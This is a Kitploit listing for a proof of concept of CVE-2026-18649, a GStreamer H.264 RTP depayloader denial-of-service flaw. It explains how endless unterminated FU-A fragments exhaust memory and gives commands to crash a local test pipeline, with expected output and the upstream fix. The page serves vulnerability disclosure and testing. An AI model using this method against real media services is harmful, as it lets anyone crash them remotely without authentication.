Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-18649 — Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay). | Kitploit
Tools/GitHubGitHub/0xsemizzz/cve-2026-18649
Payload GenerationVulnerability AnalysisExploitationNetwork Security
GitHub0xsemizzz/cve-2026-18649

CVE-2026-18649

Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay).

View Repository
121 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-18649 - GStreamer rtph264depay Unbounded Memory Growth DoS

Proof of concept for a resource exhaustion vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay). The same pattern also affects rtph265depay.

What it is

During H.264 FU-A fragmented RTP reassembly, each incoming fragment gets pushed into an internal GstAdapter buffer with no size cap. The adapter only flushes when the end-of-fragment (E) bit is set in the FU header. A remote attacker sends one valid start fragment, then an endless stream of continuation fragments while never setting the E bit. The buffer keeps growing until the process runs out of memory and crashes.

  • Remote, no authentication needed
  • Uses only valid RTP packets, no malformed data
  • One stream is enough, no flooding or multiple connections required

CVE Details

  • ()
CVE:
CVE-2026-18649
NVD
  • CWE: CWE-770 (Allocation Without Limits or Throttling)
  • CVSS: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N:I/N/A:H)
  • Found by: Yehia Ali Mohamed Ezzat (0xsemizzz)
  • Full writeup: 0xsemizzz.vercel.app/projects/gstreamer-cve

    Affected versions

    gst-plugins-good prior to the upstream fix. Confirmed on 1.28.2 (Ubuntu 24.04).

    Quick start

    Start a pipeline, then run the PoC:

    root@kitploit:~
    gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
      caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
      ! rtph264depay ! fakesink &
    PID=$!
    python3 trigger.py 5036 $PID
    

    For a fast crash, add a memory limit:

    root@kitploit:~
    ulimit -v 262144   # 256 MB, process dies in about 12 seconds
    gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
      caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
      ! rtph264depay ! fakesink &
    python3 trigger.py 5036 $!
    

    Expected output

    root@kitploit:~
    [*] port=5036  1 fragment every 0.5ms  (~2.8 MB/s)
    [*] monitoring VmData (heap), not RSS
    [*] target PID=12345  baseline VmData=26 MB
    
          5000 frags  ~     7 MB sent  |  VmData=35MB (+8MB)
         10000 frags  ~    13 MB sent  |  VmData=44MB (+17MB)
         15000 frags  ~    20 MB sent  |  VmData=53MB (+26MB)
         20000 frags  ~    27 MB sent  |  VmData=62MB (+35MB)
         25000 frags  ~    33 MB sent  |  VmData=71MB (+44MB)
         30000 frags  ~    40 MB sent  |  VmData=79MB (+53MB)
         ...
         DEAD
    

    The fix

    A max-reassembly-size property was added to rtph264depay and rtph265depay. Applications should set it to a reasonable value (16 MB for video is typical). Default is 0 (unlimited) for backward compatibility.

    Download Tool